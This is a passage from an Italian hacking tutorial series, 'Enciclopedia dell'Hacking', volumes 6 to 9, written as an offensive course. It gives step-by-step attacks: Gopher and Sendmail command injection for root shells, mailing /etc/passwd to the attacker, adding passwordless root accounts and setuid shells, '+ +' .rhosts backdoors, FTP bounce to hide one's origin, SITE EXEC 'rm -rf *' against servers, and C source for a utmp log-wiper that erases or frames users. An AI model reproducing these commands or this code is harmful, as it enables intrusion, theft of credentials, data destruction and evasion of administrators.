La macchina si blocchera` e si riavviera` automaticamente.
Potete sperimentare anche altri valori tra 65508 e 65527 in luogo di 65510.

Le vecchie versioni di Gopher hanno un serio bug: creando un file .links su un server gopher pubblico, contenente queste linee di testo:

```
Type=8
Name=Sceglimi
Host=;/bin/sh
Port=
Path=
```

potete collegarvi a Gopher, entrare nella directory dove avete piazzato il file .links e scegliere la voce "Sceglimi". Il comando messo dopo "Host=;" verra` eseguito (nel nostro caso, una shell com accesso root).

Dal prossimo volume inizieremo con tecniche raffinate che vi consentiranno di fare cose impensabili. Siate certi di aver prima imparato quelle sin qui descritte, o non potrete apprendere quelle piu` complesse.

VAI AL VOLUME 7

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 7

TECNICHE AVANZATE: SENDMAIL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sarete felici di sapere che questo e` l'ultimo volume sulle tecniche fondamentali e gli exploit. Dal prossimo inizieremo con l'hacking vero e proprio, e metteremo in pratica (con grande dolore da parte dei SysAdmin) quello che faremo di volta in volta. Ovviamente mi aspettero` che ora che avete abbastanza informazioni di base abbiate chiari concetti come server e client, FakeMail, come fare piccole cose come trovare la versione di un server, ecc. Se qualcosa non dovesse essere chiaro, non esitate a scrivermi e ad esporre il problema. Cerchero` di rispondervi non appena avro` trovato abbatanza tempo. NON chiedetemi qual'e` la password di un sito xxx o dove trovare la versione pirata di un gioco. Siamo hackers, non pirati.

Qualcuno mi ha chiesto perche` sto scrivendo questa "enciclopedia". Beh, forse perche` e` quello che ho sempre cercato e non ho mai trovato quando volevo imparare l'hacking... e poi credo che sia molto piu` completa di quei piccoli files sulle basi dell'hacking scritti da hackers, per hackers. Ma quale sarebbe lo scopo? Se uno e` gia` hacker, non ha bisogno di imparare le basi di quello che conosce gia`... okay, parentesi chiusa.

Quello che partira` dal prossimo volume sara` pertanto un vero e proprio corso di hacking a puntate (con tanto di supporto via email), dedicato a tutti coloro che mi hanno scritto e hanno creduto in questo progetto di divulgazione, siano essi hackers o wannabe (futuri hackers, speriamo).

Iniziamo dunque questo ultimo volume sulle tecniche con una breve descrizione del servizio di posta elettronica di Unix.

Il programma server che risponde a chi si collega alla porta SMTP (25) e` chiamato Sendmail. Come abbiamo visto in un precedente volume, all'atto del collegamento via Telnet avremo una risposta di questo genere:

220 server.com Sendmail 8.6/8.7 12/31/97 ready at Sun, 23 Oct 97 19:44:03 PDT

(il numero di versione di un server lo troviamo anche sbirciando tra gli headers delle emails che riceviamo quotidianamente).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

I numeri 8.6/8.7 dopo la parola "Sendmail" (oppure "Smail") rappresentano la versione del server SMTP. Mettiamo una volta per tutte in chiaro che SMTP e` il nome del servizio (della porta 25) e Sendmail e` il nome del programma che si occupa di gestire SMTP: in pratica Sendmail e` il server SMTP di Unix.

Dunque, perche` dovremmo voler conoscere il numero di versione di Sendmail?

Sendmail e` famoso tra gli hackers come il programma piu` "bacato" esistente. Basti pensare che praticamente tutte le versioni di Sendmail in giro (anche quelle piu` nuove) hanno un qualche bug che un hacker puo` sfruttare per guadagnare illecitamente accesso a un sistema.

E il bello e` il modo in cui lo si fa; non tramite una password o chissa` cosa, ma dalla parte piu` "innocua" di un sistema informatico: la posta elettronica!

Vogliamo vedere cosa si puo` fare con Sendmail? :)

Iniziamo con le sottoversioni della 8.6 (piu` precisamente le 8.6.6 e 8.6.7). Vogliamo una shell root?  Niente di piu` facile: bastera` chiamare il programma Sendmail con il parametro -d seguito da un numero molto grande, come nel seguente esempio:

```
Sendmail -d3344556677
```

Se non avete un accesso diretto al server (e quindi state "lavorando" da remoto) avrete bisogno di una shell per "chiamare" Sendmail.
Come ottenerla sara` oggetto dei prossimi volumi, ma se andate di fretta potete sempre prendere un file passwd o shadow e crackarlo per avere accesso shell.  L'ideale sarebbe un account di quale Universita`...
Oppure potreste usare l'hack del PHF (o della Query, come ultima risorsa) per eseguire il comando senza bisogno di shell interattiva.
Ancora una volta vi consiglio di aspettare di conoscere TUTTA la materia, prima di mettere in pratica... ancora non sapete come nascondervi in un sistema, quindi non abbiate fretta. Se proprio volete testare qualcosa, procuratevi Linux (se non l'avete gia`), installatelo sul VOSTRO computer e provate.

Per la cronaca, la sottoversione 8.6.9 non e` vulnerabile a quest'attacco, ma anche qui si puo` avere una shell root, utilizzando un exploit che si trova sui siti per hackers. Si tratta di un programmino in C (creato da Atreus). Non lo includo perche` dalla versione 8.6.12 (compresa) in poi tale exploit non funziona.

NOTA: la maggior parte dei problemi di sicurezza vengono fatti notare e molto spesso anche risolti proprio dagli hackers. Se non ci fossero gli hackers saremmo rimasti a versioni... preistoriche, dove bastava scrivere WIZ per avere tutto un computer ai propri comandi. Un motivo in piu` per smettere di prendersela con noi se si assume personale incapace di gestire seriamente un sistema informatico, sia esso in rete o meno.

Ci sono molte altre versioni 8.x.x bacate, ma poiche` si tratta di piccoli bug tutti diversi e` consigliabile cercare quello che interessa sul sito di 8lgm (http://www.8lgm.org), che elenca tutti i bug e ne da` un hack completo per ciascuno, o su L0pht (http://www.l0pht.com).

Unix assegna un livello utente (UID, cioe` User IDentifier) e un livello di gruppo (GID, cioe` Group IDentifier) a ciascun utente.
Un UID pari a 0 e` (quasi sempre) un utente root.
Se ad esempio nel file passwd di un sito troviamo...

```
root:7u89vCSK0oL:amministratore:0:0:/:/bin/sh
```

il primo numero (0) e` UID e il secondo (0) e` GID.

E` possibile sfruttare un bug di Sendmail per forzare il nostro UID a 0... e diventare root :) Supponiamo infatti di aver crackato la password di un utente qualsiasi, ma di non riuscire ad accedere a root... come fare? Utilizzando questo hack sul Sendmail. Bisognera` innanzitutto avere accesso a una shell; molti utenti hanno una shell, anche se limitata, ma servira` allo scopo. Se proprio non riuscite a procurarvene una, collegatevi a una delle tantissime BBS via Telnet presenti su Internet. Esse sono quasi sempre ad accesso gratuito e usano sistemi Unix, con tanto di shell per gli utenti. Non sono shell root... ma sapremo accontentarci, dal momento che da una shell ad accesso limitato si puo` arrivare a root.
Alcuni siti, come quello di Lord Somer (http://www.ilf.net/LordSomer/), hanno intere liste di BBS Telnet. Dovete solo scegliere quella che preferite.

Dicevamo, come forzare UID a 0 ora che abbiamo una shell?
Digitando quanto segue:

```
% cat ~/.forward                              <-- noi
                                      <-- noi
miosito.com miousername                       <-- noi
^D                                    <-- noi (premere Ctrl-D)
% smail -bs -D ~root/.rhosts -v20             <-- noi
220 provider.com Sendmail x.x.x.x ready ecc...     <-- server
expn root                             <-- noi
250 <root>                            <-- server
```

```
quit                                          <-- noi
% rsh -l root lamesite.com tcsh\ -i               <-- noi
WARNING: no access to TTY (bad file number)         <-- server
# id                                          <-- noi
UID=0 GID=0                                           <-- server
```

Nell'ultima riga, quando scriviamo il comando ID, il server risponde che il nostro UID e il nostro GID sono uguali a 0... il che significa... beh, lo avete capito =)

I vecchi server Sendmail (versioni 5.xx) hanno dei bug estremamente gravi; basti pensare alla versione 5.64 che permette di sfruttare il programma "decode" (uudecode) di Unix per "eliminare" l'accesso tramite password. In pratica, inviando una FakeMail (con Telnet) di questo tipo:

```
HELO hacker.com
MAIL FROM: bin
RCPT TO: decode
DATA
begin 644 /usr/bin/.rhosts
$*R`K"@``
`
end
.
QUIT
```

sara` poi possibile utilizzare un client rlogin per collegarsi senza bisogno di password. Ma come e` stato possibile? Quello che e` successo e` questo: il file .rhosts di Unix contiene una lista di hostname e username ai quali e` consentito l'accesso. Mettendo un + al posto di hostname e username si consente l'accesso a chiunque, ed e` esattamente questo cio` che abbiamo fatto: la linea dopo "begin 644..." non e` altro che tale comando (+ +) codificato con il programma encode (uuencode). Inviando questa FakeMail a decode (uudecode) quel codice verra` ritrasformato in "+ +" e scritto nel file /usr/bin/.rhosts (vedi sopra).
Bastera` dunque procurarsi un client rlogin per accedere tranquillamente al server...

La versione 5.65 di Sendmail (la successiva a quella appena vista, creata per risolvere quel problema) e` ancora piu` pericolosa... ;)
Infatti basta inviare via Telnet i seguenti comandi:

```
HELO hackers.com
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
RCPT TO: prova
```

```
DATA
From: pirata@hackers.com
Return-Receipt-To: |nessuno

#!/bin/sh
COMANDI
.
QUIT
```

Al posto di "COMANDI" vanno inseriti uno o piu` comandi shell (su righe separate), come ad esempio:

```
/bin/mail pirata@hackers.com < /etc/passwd
```

per inviare a voi stessi il file /etc/passwd (o qualsiasi altro), oppure:

```
echo prova::0:0::/:/bin/sh >> /etc/passwd
```

per aggiungere l'account "prova" (con accesso root, senza password, con shell root e accesso a tutto l'hard disk....) al file /etc/passwd (notate i due >> anziche` uno solo). O ancora:

```
chmod 777 /etc/passwd
```

per rendere il file /etc/passwd (o altro) prelevabile senza restrizioni, o:

```
cp /bin/sh /tmp/pirata
chmod 6777 /tmp/pirata
```

dove nella prima riga copiamo (cp) la shell (/bin/sh) nella directory /tmp col nome di "pirata" (vi consiglio di cambiare questo nome :)
Nella seconda riga diamo accesso al file /tmp/pirata a chiunque, anche a un utente qualunque. Tale file non e` altro, come abbiamo visto, che la shell. Quindi bastera` andare in /tmp ogniqualvolta vi servira` una shell root, e digitare "pirata" per invocare la shell ed eseguire un qualsiasi comando.

Un altro hack famoso e` quello dell'attacco del pipe, funzionante su versione 5.56 (e altre). Funziona cosi`: si prepara una semplice FakeMail del tipo...

```
HELO hacker.com
MAIL FROM:<"|/bin/mail pirata@hackers.com < /etc/passwd">
RCPT TO:<"pirata@hotmail.com">
DATA
questa e` una prova...
.
```

QUIT

e, se il server e` vulnerabile, riceveremo il file /etc/passwd via e-mail.
Naturalmente si potra` usare qualsiasi comando dopo il pipe (il "|").

TECNICHE AVANZATE: FTP BOUNCE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Passiamo ora a qualcosa di veramente interessante: FTP. Vi chiederete: ma FTP non serve solo a trasferire i file?
La risposta e` no. Beh, dovrebbe essere si... ma sapete com'e`... un hacker e` un po` come un bambino curioso che si diverte di piu` a "smontare" un giocattolo che a usarlo per quello a cui servirebbe =)

Innanzitutto sappiate che FTP altro non e` che una sessione di Telnet con qualche piccolo extra in piu` (il trasferimento di file).

Esistono infatti dei comandi "interni", come abbiamo visto per SMTP, e quindi anche FTP e` gestibile (in parte) tramite Telnet.

La tecnica che ci accingiamo a studiare e` detta "FTP Bounce" (rimbalzo dell'FTP).

Vi servira` innanzitutto un server FTP che vi permetta di inviare e prelevare files da una directory qualsiasi. Potete tranquillamente trovare tali server cercando la parola "warez" (software commerciale piratato) con un motore di ricerca di files come "FTP Search" (http://ftpsearch.ntnu.no/ftpsearch), oppure "Filez" (http://www.filez.com); prendete nota anche della directory che verra` visualizzata accanto al nome del server che la contiene.

Ora provate a collegarvi a uno di quei server, ed a entrare nella directory "warez" (o un'altra in cui si possano leggere e scrivere i files). Provate a inviare un file di prova e a prelevarlo di nuovo, per controllare se e` questo il server "giusto". Se tutto funziona, lo avete trovato, altrimenti usatene un altro (ce ne sono moltissimi).

Questo server sara` la vostra "base". In tutti gli attacchi che effettuerete verra` visualizzato l'IP Address di questo server, anziche` il vostro.

Ora studiamo il funzionamento dell'attacco, in modo da poterlo adattare a qualsiasi nostro bisogno, per poter magari anche inventare nuovi metodi di utilizzo a seconda delle necessita`.

Dovremo innanzitutto creare un file (vedremo tra poco come) che contenga i comandi che vogliamo far eseguire (in base a cio` che vogliamo fare).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Non preoccupatevi ora del suo contenuto. Per ora ci interessa solo studiare
il funzionamento della tecnica, e poi procedere con gli esempi.

Ora ci servira` un normale programma client FTP (come Cute-FTP e WS-FTP se
usate Windows, oppure il comando FTP di Linux). Lo useremo per inviare il
file di cui sopra nel server "base" che abbiamo scelto prima.

Una volta inviato il nostro file, chiuderemo FTP e passeremo a Telnet.
La porta di FTP e` la numero 21. Colleghiamoci dunque al server "base" alla
porta 21 e aspettiamo una risposta. Ora potremo inserire i comandi:

USER anonymous
PASS nessuno@niente.com

e, se l'accesso anonimo e` abilitato (come succede nel 90% dei casi), il
server rispondera` qualcosa come "User anonymous logged in". Siamo dentro.

Dobbiamo ora conoscere l'IP Address del server da attaccare. Percio` avremo
bisogno di un programma DNS per risalire dall'host name all'IP Address.

Ora digitiamo (in Telnet) il comando PORT x,x,x,x,0,y dove x,x,x,x e`
l'IP Address del server da attaccare e y e` la porta del servizio da
attaccare (21 per FTP, 80 per il Web, e cosi` via).
Notate che l'IP Address in questo caso non usa punti per separare i numeri
ma delle virgole.

Quello che succede inserendo il comando PORT e` questo: diciamo al server
FTP di collegarsi all'IP Address e alla porta che gli diamo come parametri.
In pratica, sara` il server FTP a collegarsi, anziche` noi... abbiamo cosi`
il server come "complice", in quanto sara` lui a fare tutte le operazioni e
le eventuali tracce lasciate saranno le sue! :) Noi siamo nell'ombra...
(vi renderete conto che questo e` un ottimo mezzo per nascondere in un modo
impensabile le proprie tracce, qualsiasi cosa vi serva fare).

Bastera` ora digitare RETR nomedelfileinviato e tutti i comandi desiderati
saranno inviati dalla "base" alla "vittima".

Ma ora basta teoria, passiamo a qualche esempio esplicativo.

Vogliamo ad esempio inviare una FakeMail impossibile da rintracciare?
Allora studiamo il problema in questi termini:

1) quali tipi di comandi dovremo inserire nel file?
2) quale servizio stiamo hackerando?
3) quale server useremo come destinazione?

Ecco le risposte:

1) i comandi saranno per SMTP, dovendo noi inviare una FakeMail
2) il servizio e`, come abbiamo appena detto, la posta, cioe` SMTP
3) un qualsiasi server SMTP andra` bene; usaremo DNS per conoscerne l'IP
   Address (che in questo esempio supponiamo essere 123.45.67.89)

Ora ci colleghiamo, come abbiamo fatto prima, al server "base" (FTP) con il client FTP e inviamo i comandi (che avremo scritto prima di iniziare il collegamento) della FakeMail: HELO, MAIL FROM, ecc. (la solita FakeMail).

Adesso useremo Telnet sul server "base" (la porta e` sempre 21, fin qui rimane sempre tutto uguale) e digitiamo PORT 123,45,67,89,0,25 dove 123,45,67,89 e` l'IP Address del server che dovra` eseguire il nostro file (il server di posta), ma con le virgole anziche` i punti (questo e` il formato richiesto da FTP), mentre 25 e` la porta SMTP.

Infine scriveremo RETR nomedelfileinviato per avviare l'esecuzione dei comandi. Dopo poco tempo la FakeMail verra` inviata dal server, ma senza un IP Address che riveli la nostra identita`.

NOTA IMPORTANTE: alla fine del file dei comandi bisogna aggiungere circa 60 kilobyte di byte 0, affinche` la connessione duri abbastanza e non si interrompa bruscamente. Per creare tale file basta usare "debug" (sotto DOS) scrivendo:

```
DEBUG PROVA                <-- noi
File non trovato
-f 100,F000,0              <-- noi
-rcx                       <-- noi
:0000
EA60                       <-- noi
-w                         <-- noi
Scrittura di EA60 bytes in corso...
-q                         <-- noi
```

Ora un file chiamato "PROVA" di dimensioni 60000 byte sara` stato creato. Se il nostro file dei comandi l'abbiamo chiamato "comandi" (che fantasia...) scriveremo:

```
copy /b comandi+prova finale
```

E un nuovo file, "finale", verra` creato. Questo sara` il file da inviare.

ATTENZIONE: questo va fatto TUTTE le volte che useremo il metodo dell' FTP Bounce, non solo nel caso della FakeMail.

Facciamo ora un altro esempio, un po` piu` complesso.

A volte capita di trovare un server che non ci permette di prelevare un file perche` magari il provider da cui chiamiamo e` in Italia e il suddetto server invece si trova all'estero e non vuole dare accesso a chi proviene da *.it e cose del genere. Come fare, allora?

Creeremo un file dei comandi contenente quanto segue:

```
user anonymous
pass nessuno@niente.com
cwd /directory/dove/si/trova/il/file
type i
port X,X,X,X,Y,Y
retr nome_del_file_da_prelevare
quit
```

(ovviamente anche questo file va "trattato" con debug e copy).

Chiamiamo questo file con un nome come "bounce".

Nel file sopra dovrete sostituire directory e nome file. X,X,X,X e` il *vostro* IP Address, e Y,Y e` spiegato piu` giu`.

Ecco cosa bisogna fare:

- Collegatevi con Telnet alla porta 21 del server "base"
- Scrivete PASV (e invio, ovviamente)
- Il server rispondera` con qualcosa come 111.22.33.44,0,21
  Prendete nota degli ultimi due numeri (0 e 21)
- Scrivete STOR hahaha
- Ora Telnet si blocchera`, poiche` sta aspettando i dati da inviare
- Usate il vostro client FTP, collegatevi di nuovo al server e inviate il
  file (nel nostro esempio l'abbiamo chiamato bounce)
- Ora aprite un altro client Telnet, collegatevi di nuovo al server "base"
  sulla porta 21 e scrivete PORT x,x,x,x,0,21 (dove x.x.x.x e` l'IP Address
  del server da attaccare, cioe` quello da cui volete prelevare i file)
- Scrivete RETR bounce (se avete chiamato "bounce" il file dei comandi)
- Dopo un certo tempo (che dipende dalle dimensioni del file da scaricare)
  troverete il file desiderato nel server "base", con il nome "hahaha".

Esistono molti altri metodi per utilizzare l'FTP Bounce; ad esempio se volete

"bombardare" un utente su IRC, potete creare un file dei comandi contenente una serie di DCC CHAT, PRIVMSG, ecc. (solo se conoscete bene IRC) e farli mandare dal vostro server "base" a uno (o molti) server IRC.

Potete inoltre usarlo per collegarvi a una shell (i comandi Telnet vanno messi nel file dei comandi) e leggere il file delle password e fare altre cose senza essere scoperti. Ad esempio potete usare "cat < /etc/shadow" per visualizzare un file delle password shadow, o un "rm -rf *" (molto utile per rendere la vita miserabile ai SysAdmin che si stancano di fare un backup di tutti i files dei loro sistemi)...

Vale la pena di spendere ancora un paio di parole sui bugs di FTP.

SITE EXEC e` un comando che si trova in molti server, sia per Unix che per Windows.  Non e` un bug, ma un comando che sembra essere stato fatto apposta per un hacker.malicious :) A cosa serve, vi chiederete...

Utilizzando Telnet sulla porta 21 di un server FTP, inviate i comandi USER e PASS come visto sopra, in modo da accedere in modo "anonimo" al server, e poi digitate SITE EXEC seguito da un comando. Se SITE EXEC e` implementato, il vostro comando verra` eseguito.

Un modo per conoscere quali comandi sono implementati su un server FTP si puo` usare il comando HELP.

Un'attivita` che personalmente *adoro* praticare e` andare sui canali IRC per pedofili, aspettare che qualcuno faccia pubblicita` all'indirizzo del proprio server FTP pieno di schifezze e fare un po` di pulizia usando il comando:

```
SITE EXEC rm -rf *
```

...se il server e` per Unix (come ftpd).  Oppure usando format /autotest se il server e` (praticamente sempre) per Windows (Serv-U, WarFTP).

CONCLUSIONE PRIMA SEZIONE
~~~~~~~~~~~~~~~~~~~~~~~~~~

Se non avete compreso il funzionamento di una o piu` tecniche (sperando che non siano troppe) non dovete preoccuparvi: col tempo le capirete, e molto probabilmente ne apporterete anche vostre personali varianti.

Comunque, dovrete essere voi a decidere quale utilizzare, in quale occasione e se preferire una all'altra. Potreste preferire una tecnica (ad esempio il Bounce) a un exploit (SITE EXEC) o a un hack (Sendmail o PHF).
Sta a voi scegliere.
~~~~~~~~~~~~~~~~~~~~~~~~~~

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 8

HACKING PRATICO: PARTE 1
~~~~~~~~~~~~~~~~~~~~~~~~~

Passiamo ora dalla teoria alla pratica: come vi ho gia` detto nel precedente volume e` bene che vi facciate un account su una delle tante BBS via Telnet che sono presenti su Internet, in modo da poter accedere via Telnet ai vari servizi senza doverci preoccupare di dover cancellare il nostro IP Address.

Ovviamente per avere la certezza di non lasciar tracce dovremmo applicare delle misure di sicurezza addizionali, come cancellare i log di sistema e utilizzare un account di qualcun altro... ma in genere una shell di una BBS via Telnet puo` bastare (a meno che non abbiate in mente di hackerare un mainframe del Pentagono o del NORAD).

Prima di usare il vostro client Telnet preferito ricordate le tecniche di "bounce" di cui vi avevo parlato un po` di tempo fa?
Rivediamole brevemente: usando un programma come Telnet, Finger, FTP, ecc. e` possibile effettuare un collegamento ricorsivo: in pratica, se il server sul quale abbiamo l'accesso shell e` sito.com noi potremo collegarci ad esso e una volta dentro potremo usare Telnet, Finger, ecc. per collegarci ancora una, due, tre volte a sito.com. Cio` puo` sembrare stupido: collegarsi a un sito, e da questo collegarsi di nuovo allo stesso sito!

In realta` e` un ottimo metodo per nascondere il nostro IP Address. Infatti, ogniqualvolta ci colleghiamo a un sito lasciamo l'IP Address del server sul quale siamo collegati. Normalmente, questo e` l'IP Address del provider che stiamo usando, e da esso si puo` risalire a noi.
Ma se disponiamo di un account su una BBS via Telnet (come detto prima), non dovremo far altro che collegarci ad essa, e qualsiasi cosa faremo tramite la sua shell, anziche` il nostro IP lasceremo quello della BBS.
Ovviamente pero` la vittima degli attacchi potrebbe rivolgersi al SysAdmin della BBS e questi troverebbe il vostro IP Address nei suoi log.
Ricapitolando: la vittima ha l'IP della BBS (perche` e` da li` che vi siete collegati), mentre la BBS ha il vostro IP.

Se poi dalla BBS ci colleghiamo tramite Telnet alla BBS stessa, l'IP Address registrato non sara` il nostro ma quello della BBS! Quindi ora il nostro IP
~~~~~~~~~~~~~~~~~~~~~~~~~

non compare piu` da nessuna parte. Per essere ancora piu` sicuri potremmo iterare la connessione una terza volta, oppure collegarci dalla BBS primaria a un'altra BBS su cui abbiamo un account (bounce)... insomma, basta usare la fantasia :)

Ma ora occupiamoci dei log di sistema. Le nostre lezioni sull'hacking si baseranno principalmente su Unix (e quindi le varianti come Linux, ecc.) ma in futuro tratteremo anche altri sistemi come Windows NT e Macintosh.

HACKING PRATICO: DISSIMULAZIONE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I file di log piu` "pericolosi" che contengono le tracce da cancellare sono /etc/utmp e /etc/wtmp ma un SysAdmin (a meno che non sia improvvisamente impazzito) sa che proprio per evitare "manomissioni" tali file vanno protetti e quindi in genere non e` possibile, per un utente qualsiasi, scrivere in essi.

I "permessi" di lettura, scrittura e cancellazione di file e directory sotto Unix sono nella forma drwxrwxrwx (non spaventatevi! =) dove:

"d" sta per directory (se c'e` e` una directory, altrimenti e` un file)
"r" sta per read (accesso in lettura consentito)
"w" sta per write (accesso in scrittura consentito)
"x" sta per execute (e` permesso eseguire il file)

Quando una o piu` di questi permessi non sono abilitati (non e` consentito fare una cosa, come nel caso di r w x oppure non si tratta di una directory nel caso di d) al loro posto troveremo un trattino (-).
Escludiamo ora il primo carattere, che serve solo a capire se stiamo avendo a che fare con un file o una directory, e passiamo agli altri. Essi sono raggruppati in tre gruppi di tre caratteri ciascuno: il primo gruppo si riferisce a cosa puo` fare l'utente, il secondo a cosa puo` fare il gruppo e il terzo a cosa possono fare gli altri. Un esempio: -rwxrw-r-- significa che l'utente puo` leggere, scrivere ed eseguire il file (rwx), il secondo (rw-) significa che il gruppo (vedi spiegazione sui file delle password) puo` leggere e scrivere, ma non eseguire il file, mentre l'ultimo (r--) significa che gli altri possono soltanto leggere il file, ma non modificarlo.

Per visualizzare i permessi di un file useremo il comando LS di Unix. Esso equivale grossolanamente al comando DIR del DOS.
L'uso di LS per visualizzare i permessi di file e directory e` il seguente:

```
ls -l nome_e_percorso_del_file
```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Quindi, nel caso di utmp faremo: ls -l /etc/utmp dalla nostra shell.
Vediamo dunque dal risultato di questo comando se abbiamo il permesso di scrivere in quel file: se il terzo carattere (nella forma vista prima) e` la lettera "w" (write) abbiamo tali permessi. Se invece e` un trattino, dovremo accontentarci di nascondere il nostro IP Address... oppure hackerare root per avere tutti i permessi abilitati :)

Se dunque abbiamo il permesso di scrittura, potremo nascondere le nostre tracce... o dissimulare il nostro username. Mi spiego meglio: supponiamo che il nostro username e` "hacker". Il nostro scopo e` farlo scomparire dai log, ma potremmo anche volerlo cambiare e far ricadere la colpa su qualcun altro che abbia un certo username, o ancora far comparire nei log un username inesistente (ad esempio qualche parolina per sfottere un po` il SysAdmin enl caso in cui vada a leggersi il log per risalire a noi).

Ecco il programma in C (per Unix) che fara` entrambe le cose, a seconda di quella che ci serve:

-= INIZIO CODICE =-

```
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <utmp.h>
#include <sys/stat.h>

struct utmp *user;
char *usrt;

main (argc,argv)
int argc;
char *argv[];
{
  int fatto=0, cnt=0, start=1, index=0;
  char err[80];
  if (argc == 1) printf("Removing you from utmp\n");
  if (argc == 2) printf("Changing your login to %s\n",argv[1]);
  utmpname("/etc/utmp");
  usrt = strrchr(ttyname(0),'/');
  strcpy(usrt,++usrt);
  while (fatto != 1) {
    user = getutent();
    cnt++;
    if (strcmp(user->ut_line,usrt) == 0) fatto=1;
```

```
  }
  utmpname("/etc/utmp");
  for (start=0; start<cnt; start++) {
    user = getutent();
  }
  if (argc == 1) {
    user->ut_type = LOGIN_PROCESS;
    strcpy(user->ut_name,"LOGIN");
  }
  else user->ut_type = USER_PROCESS;
  if (argc == 2) strcpy(user->ut_name,argv[1]);
  pututline(user);
  endutent();
}
```

-= FINE CODICE =-

Ovviamente dovrete avere almeno un po` di dimestichezza con Unix... vi bastera` salvare questo listato sotto forma di file di testo, e inviarlo in una directory del server da hackerare, dopodiche` dovrete compilare il file usando gcc oppure cc (i due compilatori C piu` usati sotto Unix), digitando nella shell: gcc nome_del_file.c

Se tutto e` andato bene, troverete nella directory un file compilato (se il nome del file era nascondi.c il nome del file eseguibile sara` semplicemente "nascondi"). L'uso e` semplice: eseguendo il file le vostre tracce saranno cancellate da utmp. Scrivendo invece (ad esempio): nascondi hahaha il vostro username non sara` cancellato da utmp, ma verra` sostituito con "hahaha".

Se avete il permesso in scrittura su utmp e non volete cimentarvi con il C e i compilatori (dovrete farlo prima o poi, se volete imparare seriamente) e volete ancora eliminare il vostro username dal log, dovrete:

1) usare la tecnica del collegamento ricorsivo con Telnet (vista all'inizio di questo file) per nascondere l'IP;
2) modificare il file utmp per rimuovere l'username... o eliminarlo.

Comunque vi consiglio caldamente di evitare questa "manovra" estrema e di usare il programma in C sopra riportato.

Nel prossimo volume impareremo a destreggiarci in un sistema, e a rimanerci. Vedremo come funziona una "backdoor" e come mantenere accesso root nel tempo. Nel frattempo, se avete installato Unix o Linux sul vostro computer (non

l'avete fatto ancora?? che aspettate? la miglior teoria e` la pratica ;)
sarebbe bene prendere dimestichezza con il compilatore C e con i comandi di base (come cat e ls), e dare poi uno sguardo ai file utmp e wtmp per vedere come sono strutturati. Provate anche a compilare e usare il programma in C presente in questo file.

Buon lavoro!

:: LoRD SHiNVA ::

-Digital Alliance Confederation-

VAI AL VOLUME 9

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 9

HACKING PRATICO: PARTE 2
~~~~~~~~~~~~~~~~~~~~~~~~~~

Ora sappiamo come nascondere le nostre tracce, e come ottenere accesso root su un sistema, ma e` probabile che non appena il SysAdmin notera` qualche attivita` sospetta fara` di tutto per rendere vano tutto il nostro lavoro e tenerci alla larga dal suo sistema.

Se cio` puo` ostacolare un hacker alle prime armi, non potra` pero` fermare chi sa come reagire nel modo giusto in questa guerra virtuale tra Hacker e SysAdmin.

Iniziamo a identificare l'obiettivo principale: cosa ci consente di eseguire qualsiasi comando, avere accesso a tutti i file e le directory, aggiungere o rimuovere a piacimento un account su un server, e cosi` via? Ovviamente la risposta e`: la shell di root, ossia /bin/sh.

Ma se l'utente root (cioe` il SysAdmin) dovesse toglierci i privilegi root, avremmo solo una possibilita`: hackerare di nuovo il server, sperando che il SysAdmin non si sia accorto del metodo che abbiamo utilizzato per "entrare" e non abbia corretto il problema.

Questa ovviamente non e` una soluzione brillante... percio` vediamo come fare per avere qualche carta in piu` da giocare.

Un metodo puo` essere creare un programma o uno script che abbia i privilegi di root. Infatti, quando copiamo un file ne conserviamo i privilegi; percio` se ad esempio copiamo /bin/sh in /tmp/test anche se poi accediamo al server con un account di un utente qualsiasi (e quindi senza privilegi), /tmp/test avra` la stessa identica funzione di /bin/sh in quanto non abbiamo copiato solo l'eseguibile della shell (sh) ma anche i suoi privilegi. Quindi mentre normalmente /bin/sh non e` accessibile agli utenti, /tmp/test (o qualsiasi sia il nome che gli abbiamo voluto dare) sara` una shell root utilizzabile da qualsiasi utente che sappia della sua esistenza.

Per applicare i nuovi permessi a un file esistente dobbiamo eseguire il comando "chmod" seguito da permesso e nomefile (nel nostro caso /tmp/test
~~~~~~~~~~~~~~~~~~~~~~~~~~

oppure un qualsiasi altro file contenente la shell). "chmod" serve per cambiare i permessi di un file.

Se non conoscete bene Unix (e quindi non state capendo niente o quasi) vi consiglio per l'ennesima volta di installare Linux e di sperimentare con i comandi. Usate il comando "man chmod" per avere ulteriori informazioni sul comando chmod, oppure "man comando" per avere informazioni su un qualsiasi altro comando Unix.

Se avete un client rlogin (oppure rsh o rexec) potete fare un'altra cosa.

Come spiegato nel volume 7, il file .rhosts contiene una lista di username e password di chi puo` accedere a un server senza bisogno di password; in pratica, e` una lista di server e utenti "fidati" :)

Aggiungendo una riga contentente soltanto questo:

+ +

(senza le righe vuote prima e dopo) al file .rhosts (ad esempio usando PHF, Sendmail o "cat" da una shell per aggiungere questa riga al file, come spiegato nel volume 5), chiunque potra` accedere al server usando rlogin, rsh e rexec ed eseguire comandi. Se non vogliamo dare accesso a chiunque (per evitare di essere scoperti subito) potremo anche dare accesso solo a noi stessi, usando:

nome_del_nostro_server nostro_username

(anziche` + +), ma NON fatelo se l'account e` il vostro... se e` di qualcun altro e` un discorso, altrimenti non fatelo. Infatti se e quando il SysAdmin dara` un'occhiata al file .rhosts trovera` in pratica il vostro "biglietto da visita", cioe` nome del vostro server e il vostro username! Altro che nascondere l'IP Address ;)

Dato quindi che starete certamente usando uno dei metodi spiegati nell'ottavo volume, come il bounce tramite Telnet, e un account di qualche sperduta BBS oltreoceano, usare + + sara` piu` che sufficiente nella maggior parte dei casi (diciamo pure sempre).

